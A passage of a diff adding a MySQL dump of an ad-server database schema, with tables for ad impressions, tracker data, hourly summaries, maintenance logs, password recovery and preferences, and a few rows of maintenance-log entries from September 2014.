int(10) unsigned NOT NULL, + `zone_id` int(10) unsigned NOT NULL, + `channel` varchar(255) DEFAULT NULL, + `channel_ids` varchar(64) DEFAULT NULL, + `language` varchar(32) DEFAULT NULL, + `ip_address` varchar(16) DEFAULT NULL, + `host_name` varchar(255) DEFAULT NULL, + `country` char(2) DEFAULT NULL, + `https` tinyint(1) DEFAULT NULL, + `domain` varchar(255) DEFAULT NULL, + `page` varchar(255) DEFAULT NULL, + `query` varchar(255) DEFAULT NULL, + `referer` varchar(255) DEFAULT NULL, + `search_term` varchar(255) DEFAULT NULL, + `user_agent` varchar(255) DEFAULT NULL, + `os` varchar(32) DEFAULT NULL, + `browser` varchar(32) DEFAULT NULL, + `max_https` tinyint(1) DEFAULT NULL, + `geo_region` varchar(50) DEFAULT NULL, + `geo_city` varchar(50) DEFAULT NULL, + `geo_postal_code` varchar(10) DEFAULT NULL, + `geo_latitude` decimal(8,4) DEFAULT NULL, + `geo_longitude` decimal(8,4) DEFAULT NULL, + `geo_dma_code` varchar(50) DEFAULT NULL, + `geo_area_code` varchar(50) DEFAULT NULL, + `geo_organisation` varchar(50) DEFAULT NULL, + `geo_netspeed` varchar(20) DEFAULT NULL, + `geo_continent` varchar(13) DEFAULT NULL, + KEY `rv_data_raw_ad_impression_viewer_id` (`viewer_id`), + KEY `rv_data_raw_ad_impression_date_time` (`date_time`), + KEY `rv_data_raw_ad_impression_ad_id` (`ad_id`), + KEY `rv_data_raw_ad_impression_zone_id` (`zone_id`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_data_raw_ad_impression` +-- + +LOCK TABLES `rv_data_raw_ad_impression` WRITE; +/*!40000 ALTER TABLE `rv_data_raw_ad_impression` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_data_raw_ad_impression` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_data_raw_ad_request` +-- + +DROP TABLE IF EXISTS `rv_data_raw_ad_request`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_data_raw_ad_request` ( + `viewer_id` varchar(32) DEFAULT NULL, + `viewer_session_id` varchar(32) DEFAULT NULL, + `date_time` datetime NOT NULL, + `ad_id` int(10) unsigned NOT NULL, + `creative_id` int(10) unsigned NOT NULL, + `zone_id` int(10) unsigned NOT NULL, + `channel` varchar(255) DEFAULT NULL, + `channel_ids` varchar(64) DEFAULT NULL, + `language` varchar(32) DEFAULT NULL, + `ip_address` varchar(16) DEFAULT NULL, + `host_name` varchar(255) DEFAULT NULL, + `https` tinyint(1) DEFAULT NULL, + `domain` varchar(255) DEFAULT NULL, + `page` varchar(255) DEFAULT NULL, + `query` varchar(255) DEFAULT NULL, + `referer` varchar(255) DEFAULT NULL, + `search_term` varchar(255) DEFAULT NULL, + `user_agent` varchar(255) DEFAULT NULL, + `os` varchar(32) DEFAULT NULL, + `browser` varchar(32) DEFAULT NULL, + `max_https` tinyint(1) DEFAULT NULL, + KEY `rv_data_raw_ad_request_viewer_id` (`viewer_id`), + KEY `rv_data_raw_ad_request_date_time` (`date_time`), + KEY `rv_data_raw_ad_request_ad_id` (`ad_id`), + KEY `rv_data_raw_ad_request_zone_id` (`zone_id`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_data_raw_ad_request` +-- + +LOCK TABLES `rv_data_raw_ad_request` WRITE; +/*!40000 ALTER TABLE `rv_data_raw_ad_request` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_data_raw_ad_request` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_data_raw_tracker_impression` +-- + +DROP TABLE IF EXISTS `rv_data_raw_tracker_impression`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_data_raw_tracker_impression` ( + `server_raw_tracker_impression_id` bigint(20) NOT NULL AUTO_INCREMENT, + `server_raw_ip` varchar(16) NOT NULL DEFAULT '', + `viewer_id` varchar(32) NOT NULL DEFAULT '', + `viewer_session_id` varchar(32) DEFAULT NULL, + `date_time` datetime NOT NULL, + `tracker_id` int(10) unsigned NOT NULL, + `channel` varchar(255) DEFAULT NULL, + `channel_ids` varchar(64) DEFAULT NULL, + `language` varchar(32) DEFAULT NULL, + `ip_address` varchar(16) DEFAULT NULL, + `host_name` varchar(255) DEFAULT NULL, + `country` char(2) DEFAULT NULL, + `https` int(10) unsigned DEFAULT NULL, + `domain` varchar(255) DEFAULT NULL, + `page` varchar(255) DEFAULT NULL, + `query` varchar(255) DEFAULT NULL, + `referer` varchar(255) DEFAULT NULL, + `search_term` varchar(255) DEFAULT NULL, + `user_agent` varchar(255) DEFAULT NULL, + `os` varchar(32) DEFAULT NULL, + `browser` varchar(32) DEFAULT NULL, + `max_https` int(10) unsigned DEFAULT NULL, + `geo_region` varchar(50) DEFAULT NULL, + `geo_city` varchar(50) DEFAULT NULL, + `geo_postal_code` varchar(10) DEFAULT NULL, + `geo_latitude` decimal(8,4) DEFAULT NULL, + `geo_longitude` decimal(8,4) DEFAULT NULL, + `geo_dma_code` varchar(50) DEFAULT NULL, + `geo_area_code` varchar(50) DEFAULT NULL, + `geo_organisation` varchar(50) DEFAULT NULL, + `geo_netspeed` varchar(20) DEFAULT NULL, + `geo_continent` varchar(13) DEFAULT NULL, + PRIMARY KEY (`server_raw_tracker_impression_id`,`server_raw_ip`), + KEY `rv_data_raw_tracker_impression_viewer_id` (`viewer_id`), + KEY `rv_data_raw_tracker_impression_date_time` (`date_time`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_data_raw_tracker_impression` +-- + +LOCK TABLES `rv_data_raw_tracker_impression` WRITE; +/*!40000 ALTER TABLE `rv_data_raw_tracker_impression` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_data_raw_tracker_impression` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_data_raw_tracker_variable_value` +-- + +DROP TABLE IF EXISTS `rv_data_raw_tracker_variable_value`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_data_raw_tracker_variable_value` ( + `server_raw_tracker_impression_id` bigint(20) NOT NULL, + `server_raw_ip` varchar(16) NOT NULL DEFAULT '', + `tracker_variable_id` int(11) NOT NULL, + `date_time` datetime DEFAULT NULL, + `value` varchar(50) DEFAULT NULL, + PRIMARY KEY (`server_raw_tracker_impression_id`,`server_raw_ip`,`tracker_variable_id`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_data_raw_tracker_variable_value` +-- + +LOCK TABLES `rv_data_raw_tracker_variable_value` WRITE; +/*!40000 ALTER TABLE `rv_data_raw_tracker_variable_value` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_data_raw_tracker_variable_value` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_data_summary_ad_hourly` +-- + +DROP TABLE IF EXISTS `rv_data_summary_ad_hourly`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_data_summary_ad_hourly` ( + `data_summary_ad_hourly_id` bigint(20) NOT NULL AUTO_INCREMENT, + `date_time` datetime NOT NULL, + `ad_id` int(10) unsigned NOT NULL, + `creative_id` int(10) unsigned NOT NULL, + `zone_id` int(10) unsigned NOT NULL, + `requests` int(10) unsigned NOT NULL DEFAULT '0', + `impressions` int(10) unsigned NOT NULL DEFAULT '0', + `clicks` int(10) unsigned NOT NULL DEFAULT '0', + `conversions` int(10) unsigned NOT NULL DEFAULT '0', + `total_basket_value` decimal(10,4) DEFAULT NULL, + `total_num_items` int(11) DEFAULT NULL, + `total_revenue` decimal(10,4) DEFAULT NULL, + `total_cost` decimal(10,4) DEFAULT NULL, + `total_techcost` decimal(10,4) DEFAULT NULL, + `updated` datetime NOT NULL, + PRIMARY KEY (`data_summary_ad_hourly_id`), + KEY `rv_data_summary_ad_hourly_date_time` (`date_time`), + KEY `rv_data_summary_ad_hourly_ad_id_date_time` (`ad_id`,`date_time`), + KEY `rv_data_summary_ad_hourly_zone_id_date_time` (`zone_id`,`date_time`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_data_summary_ad_hourly` +-- + +LOCK TABLES `rv_data_summary_ad_hourly` WRITE; +/*!40000 ALTER TABLE `rv_data_summary_ad_hourly` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_data_summary_ad_hourly` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_data_summary_ad_zone_assoc` +-- + +DROP TABLE IF EXISTS `rv_data_summary_ad_zone_assoc`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_data_summary_ad_zone_assoc` ( + `data_summary_ad_zone_assoc_id` bigint(20) NOT NULL AUTO_INCREMENT, + `operation_interval` int(10) unsigned NOT NULL, + `operation_interval_id` int(10) unsigned NOT NULL, + `interval_start` datetime NOT NULL, + `interval_end` datetime NOT NULL, + `ad_id` int(10) unsigned NOT NULL, + `zone_id` int(10) unsigned NOT NULL, + `required_impressions` int(10) unsigned NOT NULL, + `requested_impressions` int(10) unsigned NOT NULL, + `priority` double NOT NULL, + `priority_factor` double DEFAULT NULL, + `priority_factor_limited` smallint(6) NOT NULL DEFAULT '0', + `past_zone_traffic_fraction` double DEFAULT NULL, + `created` datetime NOT NULL, + `created_by` int(10) unsigned NOT NULL, + `expired` datetime DEFAULT NULL, + `expired_by` int(10) unsigned DEFAULT NULL, + `to_be_delivered` tinyint(1) NOT NULL DEFAULT '1', + PRIMARY KEY (`data_summary_ad_zone_assoc_id`), + KEY `rv_data_summary_ad_zone_assoc_interval_start` (`interval_start`), + KEY `rv_data_summary_ad_zone_assoc_interval_end` (`interval_end`), + KEY `rv_data_summary_ad_zone_assoc_ad_id` (`ad_id`), + KEY `rv_data_summary_ad_zone_assoc_zone_id` (`zone_id`), + KEY `rv_data_summary_ad_zone_assoc_expired` (`expired`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_data_summary_ad_zone_assoc` +-- + +LOCK TABLES `rv_data_summary_ad_zone_assoc` WRITE; +/*!40000 ALTER TABLE `rv_data_summary_ad_zone_assoc` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_data_summary_ad_zone_assoc` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_data_summary_channel_daily` +-- + +DROP TABLE IF EXISTS `rv_data_summary_channel_daily`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_data_summary_channel_daily` ( + `data_summary_channel_daily_id` bigint(20) NOT NULL AUTO_INCREMENT, + `day` date NOT NULL, + `channel_id` int(10) unsigned NOT NULL, + `zone_id` int(10) unsigned NOT NULL, + `forecast_impressions` int(10) unsigned NOT NULL DEFAULT '0', + `actual_impressions` int(10) unsigned NOT NULL DEFAULT '0', + PRIMARY KEY (`data_summary_channel_daily_id`), + KEY `rv_data_summary_channel_daily_day` (`day`), + KEY `rv_data_summary_channel_daily_channel_id` (`channel_id`), + KEY `rv_data_summary_channel_daily_zone_id` (`zone_id`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_data_summary_channel_daily` +-- + +LOCK TABLES `rv_data_summary_channel_daily` WRITE; +/*!40000 ALTER TABLE `rv_data_summary_channel_daily` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_data_summary_channel_daily` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_data_summary_zone_impression_history` +-- + +DROP TABLE IF EXISTS `rv_data_summary_zone_impression_history`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_data_summary_zone_impression_history` ( + `data_summary_zone_impression_history_id` bigint(20) NOT NULL AUTO_INCREMENT, + `operation_interval` int(10) unsigned NOT NULL, + `operation_interval_id` int(10) unsigned NOT NULL, + `interval_start` datetime NOT NULL, + `interval_end` datetime NOT NULL, + `zone_id` int(10) unsigned NOT NULL, + `forecast_impressions` int(10) unsigned DEFAULT NULL, + `actual_impressions` int(10) unsigned DEFAULT NULL, + `est` smallint(6) DEFAULT NULL, + PRIMARY KEY (`data_summary_zone_impression_history_id`), + KEY `rv_data_summary_zone_impression_history_operation_interval_id` (`operation_interval_id`), + KEY `rv_data_summary_zone_impression_history_zone_id` (`zone_id`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_data_summary_zone_impression_history` +-- + +LOCK TABLES `rv_data_summary_zone_impression_history` WRITE; +/*!40000 ALTER TABLE `rv_data_summary_zone_impression_history` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_data_summary_zone_impression_history` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_database_action` +-- + +DROP TABLE IF EXISTS `rv_database_action`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_database_action` ( + `database_action_id` int(10) unsigned NOT NULL AUTO_INCREMENT, + `upgrade_action_id` int(10) unsigned DEFAULT '0', + `schema_name` varchar(64) DEFAULT NULL, + `version` int(11) NOT NULL, + `timing` int(2) NOT NULL, + `action` int(2) NOT NULL, + `info1` varchar(255) DEFAULT NULL, + `info2` varchar(255) DEFAULT NULL, + `tablename` varchar(64) DEFAULT NULL, + `tablename_backup` varchar(64) DEFAULT NULL, + `table_backup_schema` text, + `updated` datetime DEFAULT NULL, + PRIMARY KEY (`database_action_id`), + KEY `rv_database_action_upgrade_action_id` (`upgrade_action_id`,`database_action_id`), + KEY `rv_database_action_schema_version_timing_action` (`schema_name`,`version`,`timing`,`action`), + KEY `rv_database_action_updated` (`updated`) +) ENGINE=MyISAM AUTO_INCREMENT=9 DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_database_action` +-- + +LOCK TABLES `rv_database_action` WRITE; +/*!40000 ALTER TABLE `rv_database_action` DISABLE KEYS */; +INSERT INTO `rv_database_action` VALUES (1,24,'oxDeliveryDataPrepare',2,0,59,'CREATE SUCCEEDED',NULL,'data_bkt_c',NULL,NULL,'2014-09-17 07:27:56'),(2,24,'oxDeliveryDataPrepare',2,0,59,'CREATE SUCCEEDED',NULL,'data_bkt_m',NULL,NULL,'2014-09-17 07:27:56'),(3,24,'oxDeliveryDataPrepare',2,0,59,'CREATE SUCCEEDED',NULL,'data_bkt_r',NULL,NULL,'2014-09-17 07:27:56'),(4,24,'oxDeliveryDataPrepare',2,0,59,'CREATE SUCCEEDED',NULL,'data_bkt_a',NULL,NULL,'2014-09-17 07:27:56'),(5,24,'oxDeliveryDataPrepare',2,0,59,'CREATE SUCCEEDED',NULL,'data_bkt_a_var',NULL,NULL,'2014-09-17 07:27:56'),(6,30,'vastbannertypehtml',13,0,59,'CREATE SUCCEEDED',NULL,'banner_vast_element',NULL,NULL,'2014-09-17 07:28:05'),(7,30,'vastbannertypehtml',13,0,59,'CREATE SUCCEEDED',NULL,'data_bkt_vast_e',NULL,NULL,'2014-09-17 07:28:05'),(8,30,'vastbannertypehtml',13,0,59,'CREATE SUCCEEDED',NULL,'stats_vast',NULL,NULL,'2014-09-17 07:28:05'); +/*!40000 ALTER TABLE `rv_database_action` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_images` +-- + +DROP TABLE IF EXISTS `rv_images`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_images` ( + `filename` varchar(128) NOT NULL DEFAULT '', + `contents` longblob NOT NULL, + `t_stamp` datetime DEFAULT NULL, + PRIMARY KEY (`filename`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_images` +-- + +LOCK TABLES `rv_images` WRITE; +/*!40000 ALTER TABLE `rv_images` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_images` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_log_maintenance_forecasting` +-- + +DROP TABLE IF EXISTS `rv_log_maintenance_forecasting`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_log_maintenance_forecasting` ( + `log_maintenance_forecasting_id` int(11) NOT NULL AUTO_INCREMENT, + `start_run` datetime NOT NULL, + `end_run` datetime NOT NULL, + `operation_interval` int(11) NOT NULL, + `duration` int(11) NOT NULL, + `updated_to` datetime DEFAULT NULL, + PRIMARY KEY (`log_maintenance_forecasting_id`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_log_maintenance_forecasting` +-- + +LOCK TABLES `rv_log_maintenance_forecasting` WRITE; +/*!40000 ALTER TABLE `rv_log_maintenance_forecasting` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_log_maintenance_forecasting` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_log_maintenance_priority` +-- + +DROP TABLE IF EXISTS `rv_log_maintenance_priority`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_log_maintenance_priority` ( + `log_maintenance_priority_id` int(11) NOT NULL AUTO_INCREMENT, + `start_run` datetime NOT NULL, + `end_run` datetime NOT NULL, + `operation_interval` int(11) NOT NULL, + `duration` int(11) NOT NULL, + `run_type` tinyint(3) unsigned NOT NULL, + `updated_to` datetime DEFAULT NULL, + PRIMARY KEY (`log_maintenance_priority_id`) +) ENGINE=MyISAM AUTO_INCREMENT=82 DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_log_maintenance_priority` +-- + +LOCK TABLES `rv_log_maintenance_priority` WRITE; +/*!40000 ALTER TABLE `rv_log_maintenance_priority` DISABLE KEYS */; +INSERT INTO `rv_log_maintenance_priority` VALUES (1,'2014-09-17 08:20:30','2014-09-17 08:20:30',60,0,1,NULL),(2,'2014-09-17 08:20:30','2014-09-17 08:20:30',60,0,2,NULL),(3,'2014-09-17 08:20:30','2014-09-17 08:20:30',60,0,2,NULL),(4,'2014-09-17 08:20:49','2014-09-17 08:20:49',60,0,1,NULL),(5,'2014-09-17 08:20:49','2014-09-17 08:20:49',60,0,2,NULL),(6,'2014-09-17 08:20:49','2014-09-17 08:20:49',60,0,2,NULL),(7,'2014-09-17 08:21:05','2014-09-17 08:21:05',60,0,1,NULL),(8,'2014-09-17 08:21:05','2014-09-17 08:21:05',60,0,2,NULL),(9,'2014-09-17 08:21:05','2014-09-17 08:21:05',60,0,2,NULL),(10,'2014-09-17 08:23:26','2014-09-17 08:23:26',60,0,1,NULL),(11,'2014-09-17 08:23:26','2014-09-17 08:23:26',60,0,2,NULL),(12,'2014-09-17 08:23:26','2014-09-17 08:23:26',60,0,2,NULL),(13,'2014-09-17 08:23:43','2014-09-17 08:23:43',60,0,1,NULL),(14,'2014-09-17 08:23:43','2014-09-17 08:23:43',60,0,2,NULL),(15,'2014-09-17 08:23:43','2014-09-17 08:23:43',60,0,2,NULL),(16,'2014-09-17 08:24:04','2014-09-17 08:24:05',60,1,1,NULL),(17,'2014-09-17 08:24:05','2014-09-17 08:24:05',60,0,2,NULL),(18,'2014-09-17 08:24:05','2014-09-17 08:24:05',60,0,2,NULL),(19,'2014-09-17 08:24:19','2014-09-17 08:24:19',60,0,1,NULL),(20,'2014-09-17 08:24:19','2014-09-17 08:24:19',60,0,2,NULL),(21,'2014-09-17 08:24:19','2014-09-17 08:24:19',60,0,2,NULL),(22,'2014-09-17 08:24:32','2014-09-17 08:24:32',60,0,1,NULL),(23,'2014-09-17 08:24:32','2014-09-17 08:24:32',60,0,2,NULL),(24,'2014-09-17 08:24:32','2014-09-17 08:24:32',60,0,2,NULL),(25,'2014-09-17 08:24:48','2014-09-17 08:24:48',60,0,1,NULL),(26,'2014-09-17 08:24:48','2014-09-17 08:24:48',60,0,2,NULL),(27,'2014-09-17 08:24:48','2014-09-17 08:24:48',60,0,2,NULL),(28,'2014-09-17 08:25:03','2014-09-17 08:25:03',60,0,1,NULL),(29,'2014-09-17 08:25:03','2014-09-17 08:25:03',60,0,2,NULL),(30,'2014-09-17 08:25:03','2014-09-17 08:25:03',60,0,2,NULL),(31,'2014-09-17 08:25:18','2014-09-17 08:25:18',60,0,1,NULL),(32,'2014-09-17 08:25:18','2014-09-17 08:25:18',60,0,2,NULL),(33,'2014-09-17 08:25:18','2014-09-17 08:25:18',60,0,2,NULL),(34,'2014-09-17 08:25:29','2014-09-17 08:25:29',60,0,1,NULL),(35,'2014-09-17 08:25:29','2014-09-17 08:25:29',60,0,2,NULL),(36,'2014-09-17 08:25:29','2014-09-17 08:25:29',60,0,2,NULL),(37,'2014-09-17 08:25:41','2014-09-17 08:25:41',60,0,1,NULL),(38,'2014-09-17 08:25:41','2014-09-17 08:25:41',60,0,2,NULL),(39,'2014-09-17 08:25:41','2014-09-17 08:25:41',60,0,2,NULL),(40,'2014-09-17 08:25:53','2014-09-17 08:25:53',60,0,1,NULL),(41,'2014-09-17 08:25:53','2014-09-17 08:25:53',60,0,2,NULL),(42,'2014-09-17 08:25:53','2014-09-17 08:25:53',60,0,2,NULL),(43,'2014-09-17 08:26:05','2014-09-17 08:26:05',60,0,1,NULL),(44,'2014-09-17 08:26:05','2014-09-17 08:26:05',60,0,2,NULL),(45,'2014-09-17 08:26:05','2014-09-17 08:26:05',60,0,2,NULL),(46,'2014-09-17 08:26:30','2014-09-17 08:26:30',60,0,1,NULL),(47,'2014-09-17 08:26:30','2014-09-17 08:26:30',60,0,2,NULL),(48,'2014-09-17 08:26:30','2014-09-17 08:26:30',60,0,2,NULL),(49,'2014-09-17 08:26:43','2014-09-17 08:26:43',60,0,1,NULL),(50,'2014-09-17 08:26:43','2014-09-17 08:26:43',60,0,2,NULL),(51,'2014-09-17 08:26:43','2014-09-17 08:26:43',60,0,2,NULL),(52,'2014-09-17 08:26:57','2014-09-17 08:26:57',60,0,1,NULL),(53,'2014-09-17 08:26:57','2014-09-17 08:26:57',60,0,2,NULL),(54,'2014-09-17 08:26:57','2014-09-17 08:26:57',60,0,2,NULL),(55,'2014-09-17 08:27:11','2014-09-17 08:27:11',60,0,1,NULL),(56,'2014-09-17 08:27:11','2014-09-17 08:27:11',60,0,2,NULL),(57,'2014-09-17 08:27:11','2014-09-17 08:27:11',60,0,2,NULL),(58,'2014-09-17 08:27:27','2014-09-17 08:27:27',60,0,1,NULL),(59,'2014-09-17 08:27:27','2014-09-17 08:27:27',60,0,2,NULL),(60,'2014-09-17 08:27:27','2014-09-17 08:27:27',60,0,2,NULL),(61,'2014-09-17 08:27:46','2014-09-17 08:27:47',60,1,1,NULL),(62,'2014-09-17 08:27:47','2014-09-17 08:27:47',60,0,2,NULL),(63,'2014-09-17 08:27:47','2014-09-17 08:27:47',60,0,2,NULL),(64,'2014-09-17 08:28:02','2014-09-17 08:28:02',60,0,1,NULL),(65,'2014-09-17 08:28:02','2014-09-17 08:28:02',60,0,2,NULL),(66,'2014-09-17 08:28:02','2014-09-17 08:28:02',60,0,2,NULL),(67,'2014-09-17 08:28:14','2014-09-17 08:28:14',60,0,1,NULL),(68,'2014-09-17 08:28:14','2014-09-17 08:28:14',60,0,2,NULL),(69,'2014-09-17 08:28:14','2014-09-17 08:28:14',60,0,2,NULL),(70,'2014-09-17 08:28:26','2014-09-17 08:28:26',60,0,1,NULL),(71,'2014-09-17 08:28:26','2014-09-17 08:28:26',60,0,2,NULL),(72,'2014-09-17 08:28:26','2014-09-17 08:28:26',60,0,2,NULL),(73,'2014-09-17 08:28:37','2014-09-17 08:28:37',60,0,1,NULL),(74,'2014-09-17 08:28:37','2014-09-17 08:28:37',60,0,2,NULL),(75,'2014-09-17 08:28:37','2014-09-17 08:28:37',60,0,2,NULL),(76,'2014-09-17 08:28:49','2014-09-17 08:28:49',60,0,1,NULL),(77,'2014-09-17 08:28:49','2014-09-17 08:28:49',60,0,2,NULL),(78,'2014-09-17 08:28:49','2014-09-17 08:28:49',60,0,2,NULL),(79,'2014-09-17 08:29:00','2014-09-17 08:29:00',60,0,1,NULL),(80,'2014-09-17 08:29:00','2014-09-17 08:29:00',60,0,2,NULL),(81,'2014-09-17 08:29:00','2014-09-17 08:29:00',60,0,2,NULL); +/*!40000 ALTER TABLE `rv_log_maintenance_priority` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_log_maintenance_statistics` +-- + +DROP TABLE IF EXISTS `rv_log_maintenance_statistics`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_log_maintenance_statistics` ( + `log_maintenance_statistics_id` int(11) NOT NULL AUTO_INCREMENT, + `start_run` datetime NOT NULL, + `end_run` datetime NOT NULL, + `duration` int(11) NOT NULL, + `adserver_run_type` int(2) DEFAULT NULL, + `search_run_type` int(2) DEFAULT NULL, + `tracker_run_type` int(2) DEFAULT NULL, + `updated_to` datetime DEFAULT NULL, + PRIMARY KEY (`log_maintenance_statistics_id`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_log_maintenance_statistics` +-- + +LOCK TABLES `rv_log_maintenance_statistics` WRITE; +/*!40000 ALTER TABLE `rv_log_maintenance_statistics` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_log_maintenance_statistics` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_password_recovery` +-- + +DROP TABLE IF EXISTS `rv_password_recovery`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_password_recovery` ( + `user_type` varchar(64) NOT NULL DEFAULT '', + `user_id` int(10) NOT NULL, + `recovery_id` varchar(64) NOT NULL DEFAULT '', + `updated` datetime NOT NULL, + PRIMARY KEY (`user_type`,`user_id`), + UNIQUE KEY `rv_password_recovery_recovery_id` (`recovery_id`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_password_recovery` +-- + +LOCK TABLES `rv_password_recovery` WRITE; +/*!40000 ALTER TABLE `rv_password_recovery` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_password_recovery` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_placement_zone_assoc` +-- + +DROP TABLE IF EXISTS `rv_placement_zone_assoc`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_placement_zone_assoc` ( + `placement_zone_assoc_id` mediumint(9) NOT NULL AUTO_INCREMENT, + `zone_id` mediumint(9) DEFAULT NULL, + `placement_id` mediumint(9) DEFAULT NULL, + PRIMARY KEY (`placement_zone_assoc_id`), + KEY `rv_placement_zone_assoc_zone_id` (`zone_id`), + KEY `rv_placement_zone_assoc_placement_id` (`placement_id`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_placement_zone_assoc` +-- + +LOCK TABLES `rv_placement_zone_assoc` WRITE; +/*!40000 ALTER TABLE `rv_placement_zone_assoc` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_placement_zone_assoc` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_preferences` +-- + +DROP TABLE IF EXISTS `rv_preferences`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_preferences` ( + `preference_id` mediumint(9) NOT NULL AUTO_INCREMENT, + `preference_name` varchar(64) NOT NULL DEFAULT '', + `account_type` varchar(16) NOT NULL DEFAULT '', + PRIMARY KEY (`preference_id`), + UNIQUE KEY `rv_preferences_preference_name` (`preference_name`), + KEY `rv_preferences_account_type` (`account_type`) +) ENGINE=MyISAM AUTO_INCREMENT=98 DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_preferences` +-- + +LOCK TABLES `rv_preferences` WRITE; +/*!40000 ALTER TABLE `rv_preferences` DISABLE KEYS */; +INSERT INTO `rv_preferences` VALUES 